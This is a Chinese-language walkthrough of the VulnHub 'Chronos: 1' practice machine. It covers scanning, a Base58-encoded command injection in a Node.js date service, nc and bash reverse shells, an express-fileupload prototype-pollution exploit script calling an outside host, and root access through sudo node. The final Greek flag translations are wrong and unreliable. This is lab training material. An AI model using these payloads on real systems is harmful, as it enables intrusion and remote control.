Name: Chronos: 1
Date release: 9 Aug 2021
Author: AL1ENUM
Series: Chronos
Download:https://download.vulnhub.com/chronos/Chronos.ova
Description
Difficulty : medium
This works better with VirtualBox rather than VMware.
一、信息收集
1.主机发现
1 | sudo netdiscover -r 10.0.2.0/24 |
发现存活主机,判断靶机IP为10.0.2.6
2.端口扫描
1 | sudo nmap -p- 10.0.2.6 |
3.探测端口服务
1 | sudo nmap -p22,80,8000 -sV 10.0.2.6 |
探测到的信息:
22端口:开放SSH(7.6p1)
80端口:Apache服务
目标为Ubuntu系统
8000端口:Node.js Express框架
4.浏览器访问80端口
访问80端口:
1 | 访问http://10.0.2.6 |
信息:Chronos(靶机名)-Date(日期)&Time(时间)
查看源代码,发现JS脚本
复制到编辑器内,发现“杂乱晦涩”
使用数据分析工具CyberChef调用“JavaScript Beautify”模块“美化”
纵观美化后的代码,发现函数名称仍是为编码处理的,但发现可疑信息(URL)
1 | http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL |
分析:chronos(靶机名)
local(本地/本机)
8000(结合之前探测到的信息8000端口也是目标开放的端口)
data?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL(data变量通过format赋值定位某页面)
猜测:目标靶机80端口页面嵌入的脚本中包含了该URL
怀疑是否在该页面加载的过程中:会去访问该URL–>并从中读取相应页面资源–>放置到当前页面中–>显示相应信息
5.页面绑定hosts
思路:尝试在本地将10.0.2.6和chronos.loacl绑定–>那么重新访问目标80端口(http://10.0.2.6)时-->JS脚本就能**顺利访问**脚本中的URL-->并从中**读取**相应**页面资源**-->放置到当前页面中-->显示相应的**信息**-->页面应该会有**变化**
操作:
1 | sudo vi /etc/hosts |
1 | ping chronos.local |
结果显示,成功解析
刷新/重新访问目标80端口(http://10.0.2.6)
页面上打印了时间,这样发生的变化–>意味着JS脚本可以正常访问到URL上的资源了–>至此建立了正常的连接
二、漏洞发现
1.截断抓包分析
打开Burpsuite,配置代理,利用截断功能,分析访问页面过程中发生的通信过程
通过分析发现目标响应返回了当前时间信息,也就是在页面上的显示的时间信息
将请求Request发送到Repeater内,不进行修改
不修改时Send重放,正常访问200OK
修改后Send提交请求,能接收到服务器端的响应信息(时间)
故可以得到一点,format参数后的字符4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL,对于返回时间是很关键的
2.命令注入漏洞
使用CyberChef的Magic模块对该字符进行解密
得到的明文为:(Base58编码…)
1 | '+Today is %A, %B %d, %Y %H:%M:%S.' |
看到明文这样的格式,想到了Linux的date命令
1 | date |
date后添加明文内容
1 | date '+Today is %A, %B %d, %Y %H:%M:%S.' |
猜测当访问Web程序URL时,服务端使用的是这条操作系统指令,那么是否可以用符号连接执行命令注入呢?
1 | date '+Today is %A, %B %d, %Y %H:%M:%S.' || ls #不可行 |
1 | date '+Today is %A, %B %d, %Y %H:%M:%S.' && ls #可行 |
结合之前的URL,服务端能执行的内容必须是Base58编码之后的格式
故使用CyberChef将&&ls转为Base58编码形式
1 | 得到:&&ls --Base58编码--> yZSGA |
BurpSuite:
1 | --Repeater内将format参数值替换为yZSGA-->Send重放 |
成功接受到服务端响应–>返回当前目录下的文件信息–>确认存在命令注入漏洞
三、漏洞利用
1.利用思路
如何利用命令注入漏洞?–>尝试查看用户可执行文件目录(/bin)–>看是否有可利用点
CyberChef:
1 | &&ls /bin --To Base58-->VAZYW9RHPu6D(下面不再为转码贴附图片**-_-**) |
BurpSuite:
1 | --Repeater内将format参数值替换为VAZYW9RHPu6D-->Send重放 |
整理目前发现的可利用信息:
1.发现存在bash,之后若能获取shell,则可以执行bashell反弹
2.发现存在nc,但不确定nc版本是否有-e参数方便我们建立反弹shell (nc的-e参数具有程序重定向–连接执行的作用)
2.使用nc建立连接
验证nc是否可执行
进行测试,确认nc命令能否正常执行?能否与kali建立反弹连接?
kali:
1 | nc -nvlp 4444 #nc侦听4444端口 |
CyberChef:
1 | &&nc 10.0.2.4 4444 --To Base58-->2an39LDoLgxbVq6NMgJeN3RL7 |
BurpSuite:
1 | --Repeater内将format参数值替换为2an39LDoLgxbVq6NMgJeN3RL7-->Send重放 |
显示报错,但在kali端监听端发现连接可以被正常建立
验证nc是否包含-e参数
1.若有则使用-e参数加载反弹shell
kali:
1 | nc -nvlp 4444 #nc侦听4444端口 |
CyberChef:
1 | &&nc 10.0.2.4 4444 -e /bin/bash --To Base58-->ajvuL5RnJqominfmDbYteLFr6rCZdb3VR633BCa2fH |
BurpSuite:
1 | --Repeater内将format参数值替换为ajvuL5RnJqominfmDbYteLFr6rCZdb3VR633BCa2fH-->Send重放 |
仍然报错,说明不包含-e参数,且nc建立连接失败,则确定目标系统上nc版本不包含-e参数
2.若无则可以使用nc串联的方法通过管道方式在两个侦听接口上获得反弹shell
kali:
1 | nc -nvlp 4444 #nc侦听4444端口 |
1 | nc -nvlp 5555 #nc侦听5555端口 |
CyberChef:
1 | &&nc 10.0.2.4 4444 | /bin/bash | nc 10.0.2.4 5555 |
–To Base58–>
1 | 7BFuYVuCc4LN4GRLNFCY4RZyKX7GVbfGEaUnJSCQ2RUmJmcZNi67Nw5ewqKqyTusCZS |
BurpSuite:
1 | --Repeater内将format参数值替换为7BFuYVuCc4LN4GRLNFCY4RZyKX7GVbfGEaUnJSCQ2RUmJmcZNi67Nw5ewqKqyTusCZS-->Send重放 |
至此,nc建立连接成功
3.寻找信息
1 | ls |
1 | pwd |
发现在当前/opt/chronos目录下,并没有类似flag的信息
尝试查看其他目录
1 | cat /etc/passwd |
1 | cd /home |
1 | ls |
发现在home目录下存在用户imera
尝试查看imera用户文件
1 | cd imera |
1 | ls |
1 | cat user.txt |
1 | ls -l |
很可惜,查看失败,发现只有imera用户自己可以对user.txt进行读写,只有提权才能执行查看
四、权限提升
1.初次尝试提权
1 | id #当前用户权限 |
是一个名为www-data的用户
1 | uname -a #利用是否存在内核漏洞 |
1 | sudo -l #利用是否存在sudo命令漏洞 |
没有反馈.
利用常见的提权方法,都没能找到突破口。
至此,陷入了困境…-_-
2.代码审计
尝试在其他目录看能否发现突破口
1 | cd /opt/chronos |
1 | ls |
1 | cat package.json |
{
“dependencies”: {
“bs58”: “^4.0.1”,
“cors”: “^2.8.5”,
“express”: “^4.17.1”
}
}
1 | cat app.js |
// created by alienum for Penetration Testing
const express = require(‘express’);
const { exec } = require(“child_process”);
const bs58 = require(‘bs58’);
const app = express();const port = 8000;
const cors = require(‘cors’);
app.use(cors());
app.get(‘/‘, (req,res) =>{
res.sendFile(“/var/www/html/index.html”);
});app.get(‘/date’, (req, res) => {
var agent = req.headers[‘user-agent’];
var cmd = ‘date ‘;
const format = req.query.format;
const bytes = bs58.decode(format);
var decoded = bytes.toString();
var concat = cmd.concat(decoded);
if (agent === ‘Chronos’) {
if (concat.includes(‘id’) || concat.includes(‘whoami’) || concat.includes(‘python’) || concat.includes(‘nc’) || concat.includes(‘bash’) || concat.includes(‘php’) || concat.includes(‘which’) || concat.includes(‘socat’)) {res.send(“Something went wrong”);
}
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(error: ${error.message}
);
return;
}
if (stderr) {
console.log(stderr: ${stderr}
);
return;
}
res.send(stdout);
});
}
else{res.send(“Permission Denied”);
}
})app.listen(port,() => {
console.log(
Server running at ${port}
);})
1 | cd .. #来到上级目录 |
1 | ls |
发现chronos-v2文件夹
1 | cd chronos-v2 |
1 | ls -l |
发现是另一个web应用,index.html(主页面),frontend(前端),backend(后端)
进入backend目录
1 | cd backend |
1 | ls -l |
同样看到了package.json文件,进行查看
1 | cat package.json |
{
“name”: “some-website”,
“version”: “1.0.0”,
“description”: “”,
“main”: “server.js”,
“scripts”: {
“start”: “node server.js”
},
“author”: “”,
“license”: “ISC”,
“dependencies”: {
“ejs”: “^3.1.5”,
“express”: “^4.17.1”,
“express-fileupload”: “^1.1.7-alpha.3” #文件上传??????
}
}
1 | cat server.js |
const express = require(‘express’);
const fileupload = require(“express-fileupload”);
const http = require(‘http’)const app = express();
app.use(fileupload({ parseNested: true }));
app.set(‘view engine’, ‘ejs’);
app.set(‘views’, “/opt/chronos-v2/frontend/pages”);app.get(‘/‘, (req, res) => {
res.render(‘index’)
});const server = http.Server(app);
const addr = “127.0.0.1” #reason:为什么扫描的时候没有扫描到8080端口 answer:因为Web应用只有在本机才能访问
const port = 8080;
server.listen(port, addr, () => {
console.log(‘Server listening on ‘ + addr + ‘ port ‘ + port);
});
3.搜索大法好
express-fileupload漏洞
百度:流行的Node.js库中存在原型污染漏洞,可致Web应用程序遭受DoS和远程Shell攻击_Posix (sohu.com)
Google:https://blog.p6.is/Real-World-JS-1/
发现EXP
import requests
cmd = ‘bash -c “bash -i &> /dev/tcp/p6.is/8888 0>&1”‘
#pollute
requests.post(‘http://p6.is:7777', files = {‘proto.outputFunctionName’: (
None, f”x;console.log(1);process.mainModule.require(‘child_process’).exec(‘{cmd}’);x”)})#execute command
requests.get(‘http://p6.is:7777')
kali:
根据ip修改EXP
1 | vi exp.py |
import requests
cmd = ‘bash -c “bash -i &> /dev/tcp/10.0.2.4/4444 0>&1”‘
#pollute
requests.post(‘http://127.0.0.1:8080', files = {‘proto.outputFunctionName’: (
None, f”x;console.log(1);process.mainModule.require(‘child_process’).exec(‘{cmd}’);x”)})#execute command
requests.get(‘http://127.0.0.1:8080')
已将exp写在本地,需将该exp.py上传至目标端
kali:
1 | python3 -m http.server 80 |
shell:
1 | cd /tmp #易向里写文件 |
1 | pwd |
1 | ls |
1 | wget http://10.0.2.4/exp.py |
1 | ls |
exp.py上传成功
kali:
1 | nc -nvlp 4444 |
shell:
1 | python3 exp.py |
成功建立反弹shell,当前用户为imera
结合之前的信息收集,得知imera用户主目录下有user.txt文件,进行查看
1 | pwd |
1 | cd |
1 | pwd |
1 | ls -l |
1 | cat user.txt |
1 | byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK |
4.最终提权
尝试进入root目录
1 | cd /root |
失败,在此需要提权
尝试有没有sudo提权漏洞
1 | sudo -l |
发现用户imera在没有root用户密码的权限下,只执行sudo,可以执行node和npm命令
搜集发现了一段代码(调用node执行生成一个子进程,子进程运行/bin/bash)
1 | sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})' |
1 | id |
发现已经成功提权为root用户
1 | cd root |
1 | pwd |
1 | ls |
1 | cat root.txt |
1 | YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK |
彩蛋
CyberChef:
user.txt
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
–>o chronos pernaei file mou.
译–>我们签署了谅解备忘录。
root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
–>apopse siopi mazeuoume oneira.
译–>我很高兴见到你。